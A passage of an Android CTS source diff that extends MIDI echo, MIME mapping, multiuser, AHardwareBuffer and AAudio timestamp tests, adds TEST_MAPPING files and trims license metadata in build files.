         MidiDeviceInfo echoInfo;
@@ -109,11 +114,13 @@
     // Store received messages in an array.
     class MyLoggingReceiver extends MidiReceiver {
         ArrayList<MidiMessage> messages = new ArrayList<MidiMessage>();
+        int mByteCount;
 
         @Override
         public synchronized void onSend(byte[] data, int offset, int count,
                 long timestamp) {
             messages.add(new MidiMessage(data, offset, count, timestamp));
+            mByteCount += count;
             notifyAll();
         }
 
@@ -121,6 +128,10 @@
             return messages.size();
         }
 
+        public synchronized int getByteCount() {
+            return mByteCount;
+        }
+
         public synchronized MidiMessage getMessage(int index) {
             return messages.get(index);
         }
@@ -142,6 +153,24 @@
                 timeToWait = endTimeMs - System.currentTimeMillis();
             }
         }
+
+        /**
+         * Wait until count bytes have arrived. This is a cumulative total.
+         *
+         * @param count
+         * @param timeoutMs
+         * @throws InterruptedException
+         */
+        public synchronized void waitForBytes(int count, int timeoutMs)
+                throws InterruptedException {
+            long endTimeMs = System.currentTimeMillis() + timeoutMs + 1;
+            long timeToWait = timeoutMs + 1;
+            while ((getByteCount() < count)
+                    && (timeToWait > 0)) {
+                wait(timeToWait);
+                timeToWait = endTimeMs - System.currentTimeMillis();
+            }
+        }
     }
 
     @Override
@@ -310,6 +339,23 @@
     }
 
     public void testEchoSmallMessage() throws Exception {
+        checkEchoVariableMessage(3);
+    }
+
+    public void testEchoLargeMessage() throws Exception {
+        checkEchoVariableMessage(MAX_PACKET_DATA_SIZE);
+    }
+
+    // This message will not fit in the internal buffer in MidiInputPort.
+    // But it is still a legal size according to the API for
+    // MidiReceiver.send(). It may be received in multiple packets.
+    public void testEchoOversizeMessage() throws Exception {
+        checkEchoVariableMessage(MAX_PACKET_DATA_SIZE + 20);
+    }
+
+    // Send a variable sized message. The actual
+    // size will be a multiple of 3 because it sends NoteOns.
+    public void checkEchoVariableMessage(int messageSize) throws Exception {
         PackageManager pm = mContext.getPackageManager();
         if (!pm.hasSystemFeature(PackageManager.FEATURE_MIDI)) {
             return; // Not supported so don't test it.
@@ -320,8 +366,15 @@
         MyLoggingReceiver receiver = new MyLoggingReceiver();
         mc.echoOutputPort.connect(receiver);
 
-        final byte[] buffer = {
-                (byte) 0x93, 0x47, 0x52
+        // Send an integral number of notes
+        int numNotes = messageSize / 3;
+        int noteSize = numNotes * 3;
+        final byte[] buffer = new byte[noteSize];
+        int index = 0;
+        for (int i = 0; i < numNotes; i++) {
+                buffer[index++] = (byte) (0x90 + (i & 0x0F)); // NoteOn
+                buffer[index++] = (byte) 0x47; // Pitch
+                buffer[index++] = (byte) 0x52; // Velocity
         };
         long timestamp = 0x0123765489ABFEDCL;
 
@@ -330,20 +383,34 @@
         mc.echoInputPort.send(buffer, 0, 0, timestamp); // should be a NOOP
 
         // Wait for message to pass quickly through echo service.
-        final int numMessages = 1;
+        // Message sent may have been split into multiple received messages.
+        // So wait until we receive all the expected bytes.
+        final int numBytesExpected = buffer.length;
         final int timeoutMs = 20;
         synchronized (receiver) {
-            receiver.waitForMessages(numMessages, timeoutMs);
+            receiver.waitForBytes(numBytesExpected, timeoutMs);
         }
-        assertEquals("number of messages.", numMessages, receiver.getMessageCount());
-        MidiMessage message = receiver.getMessage(0);
 
-        assertEquals("byte count of message", buffer.length,
-                message.data.length);
-        assertEquals("timestamp in message", timestamp, message.timestamp);
-        for (int i = 0; i < buffer.length; i++) {
-            assertEquals("message byte[" + i + "]", buffer[i] & 0x0FF,
-                    message.data[i] & 0x0FF);
+        // Check total size.
+        final int numReceived = receiver.getMessageCount();
+        int totalBytesReceived = 0;
+        for (int i = 0; i < numReceived; i++) {
+            MidiMessage message = receiver.getMessage(i);
+            totalBytesReceived += message.data.length;
+            assertEquals("timestamp in message", timestamp, message.timestamp);
+        }
+        assertEquals("byte count of messages", numBytesExpected,
+                totalBytesReceived);
+
+        // Make sure the payload was not corrupted.
+        int sentIndex = 0;
+        for (int i = 0; i < numReceived; i++) {
+            MidiMessage message = receiver.getMessage(i);
+            for (int k = 0; k < message.data.length; k++) {
+                assertEquals("message byte[" + i + "]",
+                        buffer[sentIndex++] & 0x0FF,
+                        message.data[k] & 0x0FF);
+            }
         }
 
         mc.echoOutputPort.disconnect(receiver);
@@ -361,7 +428,8 @@
         mc.echoOutputPort.connect(receiver);
 
         final int numMessages = 10;
-        final long maxLatencyNanos = 15 * NANOS_PER_MSEC; // generally < 3 msec on N6
+        final int maxLatencyMs = 15; // generally < 3 msec on N6
+        final long maxLatencyNanos = maxLatencyMs * NANOS_PER_MSEC;
         byte[] buffer = {
                 (byte) 0x93, 0, 64
         };
@@ -373,7 +441,7 @@
         }
 
         // Wait for messages to pass quickly through echo service.
-        final int timeoutMs = 100;
+        final int timeoutMs = (numMessages * maxLatencyMs) + 20;
         synchronized (receiver) {
             receiver.waitForMessages(numMessages, timeoutMs);
         }
diff --git a/tests/tests/mimemap/Android.bp b/tests/tests/mimemap/Android.bp
index 9622bd1..4306164 100644
--- a/tests/tests/mimemap/Android.bp
+++ b/tests/tests/mimemap/Android.bp
@@ -14,10 +14,6 @@
 
 // Verifies the default MIME mapping as exposed by
 // @CorePlatformApi libcore.content.type.MimeMap.getDefault()
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsMimeMapTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java b/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java
index 33878e4..abaa40f 100644
--- a/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java
+++ b/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java
@@ -165,6 +165,10 @@
         assertMimeTypeFromExtension("image/jp2", "jpg2");
     }
 
+    @Test public void bug141654151_image() {
+        assertBidirectional("image/avif", "avif");
+    }
+
     @Test public void bug120135571_audio() {
         assertMimeTypeFromExtension("audio/mpeg", "m4r");
     }
diff --git a/tests/tests/multiuser/Android.bp b/tests/tests/multiuser/Android.bp
index c930a43..99adf1c 100644
--- a/tests/tests/multiuser/Android.bp
+++ b/tests/tests/multiuser/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsMultiUserTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/multiuser/TEST_MAPPING b/tests/tests/multiuser/TEST_MAPPING
new file mode 100644
index 0000000..4c38300
--- /dev/null
+++ b/tests/tests/multiuser/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMultiUserTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java b/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
index 45fd6d8..4aee0b2 100644
--- a/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
+++ b/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
@@ -16,8 +16,13 @@
 
 package android.multiuser.cts;
 
+import static android.multiuser.cts.TestingUtils.getBooleanProperty;
+
 import com.android.compatibility.common.util.SystemUtil;
 
+import java.io.IOException;
+
+import android.app.Instrumentation;
 import android.os.UserManager;
 import android.test.InstrumentationTestCase;
 
@@ -25,18 +30,11 @@
 
     public void testSplitSystemUserIsDisabled() throws Exception {
         // Check that ro.fw.system_user_split property is not set.
-        String splitEnabledStr = trim(SystemUtil.runShellCommand(getInstrumentation(),
-                "getprop ro.fw.system_user_split"));
-        boolean splitEnabled = "y".equals(splitEnabledStr) || "yes".equals(splitEnabledStr)
-                || "1".equals(splitEnabledStr) || "true".equals(splitEnabledStr)
-                || "on".equals(splitEnabledStr);
+        boolean splitEnabled = getBooleanProperty(getInstrumentation(),
+            "ro.fw.system_user_split");
         assertFalse("ro.fw.system_user_split must not be enabled", splitEnabled);
 
         // Check UserManager.isSplitSystemUser returns false as well.
         assertFalse("UserManager.isSplitSystemUser must be false", UserManager.isSplitSystemUser());
     }
-
-    private static String trim(String s) {
-        return s == null ? null : s.trim();
-    }
 }
diff --git a/tests/tests/multiuser/src/android/multiuser/cts/TestingUtils.java b/tests/tests/multiuser/src/android/multiuser/cts/TestingUtils.java
new file mode 100644
index 0000000..797f48b
--- /dev/null
+++ b/tests/tests/multiuser/src/android/multiuser/cts/TestingUtils.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.multiuser.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import android.app.Instrumentation;
+
+import java.io.IOException;
+
+final class TestingUtils {
+
+    public static boolean getBooleanProperty(Instrumentation instrumentation, String property)
+            throws IOException {
+        String value = trim(runShellCommand(instrumentation, "getprop " + property));
+        return "y".equals(value) || "yes".equals(value) || "1".equals(value) || "true".equals(value)
+                || "on".equals(value);
+    }
+
+    private static String trim(String s) {
+        return s == null ? null : s.trim();
+    }
+
+    private TestingUtils() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+}
diff --git a/tests/tests/multiuser/src/android/multiuser/cts/UserManagerTest.java b/tests/tests/multiuser/src/android/multiuser/cts/UserManagerTest.java
index 75aa112..bc9555c 100644
--- a/tests/tests/multiuser/src/android/multiuser/cts/UserManagerTest.java
+++ b/tests/tests/multiuser/src/android/multiuser/cts/UserManagerTest.java
@@ -16,19 +16,35 @@
 
 package android.multiuser.cts;
 
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static android.multiuser.cts.TestingUtils.getBooleanProperty;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Instrumentation;
 import android.content.Context;
 import android.os.UserManager;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
 @RunWith(JUnit4.class)
-public class UserManagerTest {
+public final class UserManagerTest {
+
+    private final Instrumentation mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    private final Context mContext = mInstrumentation.getContext();
+
+    private UserManager mUserManager;
+
+    @Before
+    public void setTestFixtures() {
+        mUserManager = mContext.getSystemService(UserManager.class);
+
+        assertWithMessage("UserManager service").that(mUserManager).isNotNull();
+    }
 
     /**
      * Verify that the isUserAGoat() method always returns false for API level 30. This is
@@ -36,8 +52,22 @@
      */
     @Test
     public void testUserGoat_api30() {
-        final Context context = getInstrumentation().getContext();
-        assertFalse("isUserAGoat() should return false",
-                context.getSystemService(UserManager.class).isUserAGoat());
+        assertWithMessage("isUserAGoat()").that(mUserManager.isUserAGoat()).isFalse();
     }
+
+    @Test
+    public void testIsHeadlessSystemUserMode() throws Exception {
+        boolean expected = getBooleanProperty(mInstrumentation,
+                "ro.fw.mu.headless_system_user");
+        assertWithMessage("isHeadlessSystemUserMode()")
+                .that(UserManager.isHeadlessSystemUserMode()).isEqualTo(expected);
+    }
+
+    @Test
+    public void testIsUserForeground_currentUser() throws Exception {
+        assertWithMessage("isUserForeground() for current user")
+                .that(mUserManager.isUserForeground()).isTrue();
+    }
+    // TODO(b/173541467): add testIsUserForeground_backgroundUser()
+    // TODO(b/179163496): add testIsUserForeground_ tests for profile users
 }
diff --git a/tests/tests/nativehardware/Android.bp b/tests/tests/nativehardware/Android.bp
index 5f0120b..d8f1e90 100644
--- a/tests/tests/nativehardware/Android.bp
+++ b/tests/tests/nativehardware/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNativeHardwareTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
index 94c3edc..cd10b1c 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
@@ -155,11 +155,12 @@
 
     memset(&desc, 0, sizeof(AHardwareBuffer_Desc));
 
-    int res = AHardwareBuffer_allocate(&desc, NULL);
+    int res = AHardwareBuffer_allocate(&desc, (AHardwareBuffer * * _Nonnull)NULL);
     EXPECT_EQ(BAD_VALUE, res);
-    res = AHardwareBuffer_allocate(NULL, &buffer);
+    res = AHardwareBuffer_allocate((AHardwareBuffer_Desc* _Nonnull)NULL, &buffer);
     EXPECT_EQ(BAD_VALUE, res);
-    res = AHardwareBuffer_allocate(NULL, NULL);
+    res = AHardwareBuffer_allocate((AHardwareBuffer_Desc* _Nonnull)NULL,
+                                   (AHardwareBuffer * * _Nonnull)NULL);
     EXPECT_EQ(BAD_VALUE, res);
 }
 
@@ -243,12 +244,12 @@
     // Description of a null buffer should be all zeros.
     AHardwareBuffer_Desc scratch_desc;
     memset(&scratch_desc, 0, sizeof(AHardwareBuffer_Desc));
-    AHardwareBuffer_describe(NULL, &scratch_desc);
+    AHardwareBuffer_describe((AHardwareBuffer* _Nonnull)NULL, &scratch_desc);
     EXPECT_EQ(0U, scratch_desc.width);
     EXPECT_EQ(0U, scratch_desc.height);
 
     // This shouldn't crash.
-    AHardwareBuffer_describe(buffer, NULL);
+    AHardwareBuffer_describe(buffer, (AHardwareBuffer_Desc* _Nonnull)NULL);
 
     // Description of created buffer should match requsted description.
     EXPECT_EQ(desc, GetDescription(buffer));
@@ -281,7 +282,7 @@
     desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
 
     // Test that an invalid buffer fails.
-    int err = AHardwareBuffer_sendHandleToUnixSocket(NULL, 0);
+    int err = AHardwareBuffer_sendHandleToUnixSocket((AHardwareBuffer* _Nonnull)NULL, 0);
     EXPECT_EQ(BAD_VALUE, err);
     err = 0;
     err = AHardwareBuffer_sendHandleToUnixSocket(buffer, 0);
@@ -300,7 +301,7 @@
     EXPECT_EQ(0, pthread_create(&thread, NULL, clientFunction, &data));
 
     // Receive the buffer.
-    err = AHardwareBuffer_recvHandleFromUnixSocket(fds[0], NULL);
+    err = AHardwareBuffer_recvHandleFromUnixSocket(fds[0], (AHardwareBuffer * * _Nonnull)NULL);
     EXPECT_EQ(BAD_VALUE, err);
 
     AHardwareBuffer* received = NULL;
@@ -332,7 +333,9 @@
     int32_t bytesPerStride = std::numeric_limits<int32_t>::min();
 
     // Test that an invalid buffer fails.
-    int err = AHardwareBuffer_lockAndGetInfo(NULL, 0, -1, NULL, NULL, &bytesPerPixel, &bytesPerStride);
+    int err =
+            AHardwareBuffer_lockAndGetInfo((AHardwareBuffer* _Nonnull)NULL, 0, -1, NULL,
+                                           (void** _Nonnull)NULL, &bytesPerPixel, &bytesPerStride);
     EXPECT_EQ(BAD_VALUE, err);
 
     err = AHardwareBuffer_allocate(&desc, &buffer);
@@ -371,7 +374,8 @@
     desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
 
     // Test that an invalid buffer fails.
-    int err = AHardwareBuffer_lock(NULL, 0, -1, NULL, NULL);
+    int err = AHardwareBuffer_lock((AHardwareBuffer* _Nonnull)NULL, 0, -1, NULL,
+                                   (void** _Nonnull)NULL);
     EXPECT_EQ(BAD_VALUE, err);
     err = 0;
 
@@ -400,7 +404,8 @@
     desc.format = AHARDWAREBUFFER_FORMAT_Y8Cb8Cr8_420;
 
     // Test that an invalid buffer fails.
-    int err = AHardwareBuffer_lock(NULL, 0, -1, NULL, NULL);
+    int err = AHardwareBuffer_lock((AHardwareBuffer* _Nonnull)NULL, 0, -1, NULL,
+                                   (void** _Nonnull)NULL);
     EXPECT_EQ(BAD_VALUE, err);
     err = 0;
 
@@ -448,7 +453,8 @@
     desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
 
     // Test that an invalid buffer fails.
-    int err = AHardwareBuffer_lock(NULL, 0, -1, NULL, NULL);
+    int err = AHardwareBuffer_lock((AHardwareBuffer* _Nonnull)NULL, 0, -1, NULL,
+                                   (void** _Nonnull)NULL);
     EXPECT_EQ(BAD_VALUE, err);
     err = 0;
 
@@ -508,4 +514,31 @@
     EXPECT_NE(NO_ERROR, err);
 }
 
+TEST(AHardwareBufferTest, GetIdSucceed) {
+    AHardwareBuffer* buffer1 = nullptr;
+    uint64_t id1 = 0;
+    const AHardwareBuffer_Desc desc = {
+            .width = 4,
+            .height = 4,
+            .layers = 1,
+            .format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM,
+            .usage = AHARDWAREBUFFER_USAGE_CPU_READ_RARELY,
+    };
+    int err = AHardwareBuffer_allocate(&desc, &buffer1);
+    EXPECT_EQ(NO_ERROR, err);
+    EXPECT_NE(nullptr, buffer1);
+    EXPECT_EQ(0, AHardwareBuffer_getId(buffer1, &id1));
+    EXPECT_NE(id1, 0ULL);
+
+    AHardwareBuffer* buffer2 = nullptr;
+    uint64_t id2 = 0;
+    err = AHardwareBuffer_allocate(&desc, &buffer2);
+    EXPECT_EQ(NO_ERROR, err);
+    EXPECT_NE(nullptr, buffer2);
+    EXPECT_EQ(0, AHardwareBuffer_getId(buffer2, &id2));
+    EXPECT_NE(id2, 0ULL);
+
+    EXPECT_NE(id1, id2);
+}
+
 } // namespace android
diff --git a/tests/tests/nativehardware/jni/Android.bp b/tests/tests/nativehardware/jni/Android.bp
index 8ad2b05..16a1d0e 100644
--- a/tests/tests/nativehardware/jni/Android.bp
+++ b/tests/tests/nativehardware/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library_shared {
     name: "libahardwarebuffertest",
     compile_multilib: "both",
diff --git a/tests/tests/nativemedia/aaudio/jni/Android.mk b/tests/tests/nativemedia/aaudio/jni/Android.mk
index 2f11b9e..361245e 100644
--- a/tests/tests/nativemedia/aaudio/jni/Android.mk
+++ b/tests/tests/nativemedia/aaudio/jni/Android.mk
@@ -18,8 +18,6 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := libnativeaaudiotest
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MULTILIB := both
 
 LOCAL_SRC_FILES := \
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
index b8ea502..23aff51 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
@@ -35,6 +35,10 @@
     PARAM_PERF_MODE
 };
 
+static const int64_t MAX_LATENCY_RANGE = 200 * NANOS_PER_MILLISECOND;
+static const int64_t MAX_LATENCY = 800 * NANOS_PER_MILLISECOND;
+static const int NUM_TIMESTAMP_QUERY = 3;
+
 static std::string getTestName(const ::testing::TestParamInfo<StreamTestParams>& info) {
     return std::string() + sharingModeToString(std::get<PARAM_SHARING_MODE>(info.param)) +
             "__" + performanceModeToString(std::get<PARAM_PERF_MODE>(info.param));
@@ -129,6 +133,61 @@
         }
     }
 
+    int64_t getLatency(const int64_t presentationTime, const int64_t presentationPosition) const {
+        const int64_t frameIndex = isOutput() ? AAudioStream_getFramesWritten(stream())
+                                              : AAudioStream_getFramesRead(stream());
+        const int64_t nowNs = getNanoseconds();
+        const int64_t frameIndexDelta = frameIndex - presentationPosition;
+        const int64_t frameTimeDelta = (frameIndexDelta * NANOS_PER_SECOND) / actual().sampleRate;
+        const int64_t framePresentationTime = presentationTime + frameTimeDelta;
+        return isOutput() ? (framePresentationTime - nowNs) : (nowNs - framePresentationTime);
+    }
+
+    void testTimestamp(const int64_t timeoutNanos) {
+        // Record for 1 seconds to ensure we can get a valid timestamp
+        const int32_t frames = actual().sampleRate;
+        mHelper->startStream();
+        int64_t maxLatencyNanos = 0;
+        int64_t minLatencyNanos = NANOS_PER_SECOND;
+        int64_t sumLatencyNanos = 0;
+        int64_t lastPresentationPosition = -1;
+        // Get the maximum and minimum latency within 3 successfully timestamp query.
+        for (int i = 0; i < NUM_TIMESTAMP_QUERY; ++i) {
+            aaudio_result_t result;
+            int maxRetries = 10; // Try 10 times to get timestamp
+            int64_t presentationTime = 0;
+            int64_t presentationPosition = 0;
+            do {
+                processData(frames, timeoutNanos);
+                presentationTime = 0;
+                presentationPosition = 0;
+                result = AAudioStream_getTimestamp(
+                        stream(), CLOCK_MONOTONIC, &presentationPosition, &presentationTime);
+            } while (result != AAUDIO_OK && --maxRetries > 0 &&
+                    lastPresentationPosition == presentationPosition);
+
+            if (result == AAUDIO_OK) {
+                const int64_t latencyNanos = getLatency(presentationTime, presentationPosition);
+                maxLatencyNanos = std::max(maxLatencyNanos, latencyNanos);
+                minLatencyNanos = std::min(minLatencyNanos, latencyNanos);
+                sumLatencyNanos += latencyNanos;
+            }
+
+            EXPECT_EQ(AAUDIO_OK, result);
+            // There should be a new timestamp available in 10s.
+            EXPECT_NE(lastPresentationPosition, presentationPosition);
+            lastPresentationPosition = presentationPosition;
+        }
+        mHelper->stopStream();
+        // The latency must be consistent.
+        EXPECT_LT(maxLatencyNanos - minLatencyNanos, MAX_LATENCY_RANGE);
+        EXPECT_LT(sumLatencyNanos / NUM_TIMESTAMP_QUERY, MAX_LATENCY);
+    }
+
+    virtual bool isOutput() const = 0;
+
+    virtual void processData(const int32_t frames, const int64_t timeoutNanos) = 0;
+
     std::unique_ptr<T> mHelper;
     bool mSetupSuccessful = false;
 
@@ -140,6 +199,9 @@
 protected:
     void SetUp() override;
 
+    bool isOutput() const override { return false; }
+    void processData(const int32_t frames, const int64_t timeoutNanos) override;
+
     int32_t mFramesPerRead;
 };
 
@@ -163,6 +225,18 @@
     allocateDataBuffer(mFramesPerRead);
 }
 
+void AAudioInputStreamTest::processData(const int32_t frames, const int64_t timeoutNanos) {
+    // See b/62090113. For legacy path, the device is only known after
+    // the stream has been started.
+    EXPECT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getDeviceId(stream()));
+    for (int32_t framesLeft = frames; framesLeft > 0; ) {
+        aaudio_result_t result = AAudioStream_read(
+                stream(), getDataBuffer(), std::min(frames, mFramesPerRead), timeoutNanos);
+        EXPECT_GT(result, 0);
+        framesLeft -= result;
+    }
+}
+
 TEST_P(AAudioInputStreamTest, testReading) {
     if (!mSetupSuccessful) return;
 
@@ -170,22 +244,19 @@
     EXPECT_EQ(0, AAudioStream_getFramesRead(stream()));
     EXPECT_EQ(0, AAudioStream_getFramesWritten(stream()));
     mHelper->startStream();
-    // See b/62090113. For legacy path, the device is only known after
-    // the stream has been started.
-    ASSERT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getDeviceId(stream()));
-    for (int32_t framesLeft = framesToRecord; framesLeft > 0; ) {
-        aaudio_result_t result = AAudioStream_read(
-                stream(), getDataBuffer(), std::min(framesToRecord, mFramesPerRead),
-                DEFAULT_READ_TIMEOUT);
-        ASSERT_GT(result, 0);
-        framesLeft -= result;
-    }
+    processData(framesToRecord, DEFAULT_READ_TIMEOUT);
     mHelper->stopStream();
     EXPECT_GE(AAudioStream_getFramesRead(stream()), framesToRecord);
     EXPECT_GE(AAudioStream_getFramesWritten(stream()), framesToRecord);
     EXPECT_GE(AAudioStream_getXRunCount(stream()), 0);
 }
 
+TEST_P(AAudioInputStreamTest, testGetTimestamp) {
+    if (!mSetupSuccessful) return;
+
+    testTimestamp(DEFAULT_READ_TIMEOUT);
+}
+
 TEST_P(AAudioInputStreamTest, testStartReadStop) {
     if (!mSetupSuccessful) return;
 
@@ -274,6 +345,9 @@
 class AAudioOutputStreamTest : public AAudioStreamTest<OutputStreamBuilderHelper> {
   protected:
     void SetUp() override;
+
+    bool isOutput() const override { return true; }
+    void processData(const int32_t frames, const int64_t timeoutNanos) override;
 };
 
 void AAudioOutputStreamTest::SetUp() {
@@ -290,6 +364,16 @@
     allocateDataBuffer(framesPerBurst());
 }
 
+void AAudioOutputStreamTest::processData(const int32_t frames, const int64_t timeoutNanos) {
+    for (int32_t framesLeft = frames; framesLeft > 0;) {
+        aaudio_result_t framesWritten = AAudioStream_write(
+                stream(), getDataBuffer(),
+                std::min(framesPerBurst(), framesLeft), timeoutNanos);
+        EXPECT_GT(framesWritten, 0);
+        framesLeft -= framesWritten;
+    }
+}
+
 TEST_P(AAudioOutputStreamTest, testWriting) {
     if (!mSetupSuccessful) return;
 
@@ -454,6 +538,19 @@
     }
 }
 
+TEST_P(AAudioOutputStreamTest, testGetTimestamp) {
+    if (!mSetupSuccessful) return;
+
+    // Calculate a reasonable timeout value.
+    const int32_t timeoutBursts = 20;
+    int64_t timeoutNanos =
+            timeoutBursts * (NANOS_PER_SECOND * framesPerBurst() / actual().sampleRate);
+    // Account for cold start latency.
+    timeoutNanos = std::max(timeoutNanos, 400 * NANOS_PER_MILLISECOND);
+
+    testTimestamp(timeoutNanos);
+}
+
 TEST_P(AAudioOutputStreamTest, testRelease) {
     if (!mSetupSuccessful) return;
 
diff --git a/tests/tests/nativemedia/mediametrics/Android.bp b/tests/tests/nativemedia/mediametrics/Android.bp
index 8bfb983..11be644 100644
--- a/tests/tests/nativemedia/mediametrics/Android.bp
+++ b/tests/tests/nativemedia/mediametrics/Android.bp
@@ -14,10 +14,6 @@
 
 // Build the unit tests.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CtsNativeMediaMetricsTestCases",
 
diff --git a/tests/tests/nativemedia/sl/Android.mk b/tests/tests/nativemedia/sl/Android.mk
index a3968a1..0844d0c 100644
--- a/tests/tests/nativemedia/sl/Android.mk
+++ b/tests/tests/nativemedia/sl/Android.mk
@@ -18,8 +18,6 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := CtsNativeMediaSlTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/nativemedia/sl/TEST_MAPPING b/tests/tests/nativemedia/sl/TEST_MAPPING
new file mode 100644
index 0000000..e2f65df
--- /dev/null
+++ b/tests/tests/nativemedia/sl/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNativeMediaSlTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/nativemedia/xa/Android.mk b/tests/tests/nativemedia/xa/Android.mk
index 8abfc7f..c9dec22 100644
--- a/tests/tests/nativemedia/xa/Android.mk
+++ b/tests/tests/nativemedia/xa/Android.mk
@@ -18,8 +18,6 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE:= CtsNativeMediaXaTestCases
-LOCAL_LICENSE_KINDS:= SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS:= notice
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/nativemedia/xa/TEST_MAPPING b/tests/tests/nativemedia/xa/TEST_MAPPING
new file mode 100644
index 0000000..e73b66e
--- /dev/null
+++ b/tests/tests/nativemedia/xa/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNativeMediaXaTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/nativemidi/AndroidManifest.xml b/tests/tests/nativemidi/AndroidManifest.xml
index 1275ea0..f89d012 100755
--- a/tests/tests/nativemidi/AndroidManifest.xml
+++ b/tests/tests/nativemidi/AndroidManifest.xml
@@ -16,38 +16,37 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.nativemidi.cts">
+     package="android.nativemidi.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
-    <uses-feature android:name="android.software.midi" android:required="true"/>
+    <uses-feature android:name="android.software.midi"
+         android:required="true"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <service android:name="com.android.midi.MidiEchoTestService"
-            android:permission="android.permission.BIND_MIDI_DEVICE_SERVICE">
+             android:permission="android.permission.BIND_MIDI_DEVICE_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.midi.MidiDeviceService" />
+                <action android:name="android.media.midi.MidiDeviceService"/>
             </intent-filter>
             <meta-data android:name="android.media.midi.MidiDeviceService"
-                android:resource="@xml/echo_device_info" />
+                 android:resource="@xml/echo_device_info"/>
         </service>
 
         <!--
         <activity android:name="android.nativemidi.cts.NativeMidiEchoTest"
-                  android:label="NativeMidiEchoTest"/>
-        -->
+                              android:label="NativeMidiEchoTest"/>
+                    -->
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS Native MIDI tests"
-        android:targetPackage="android.nativemidi.cts" >
-        <meta-data
-            android:name="listener"
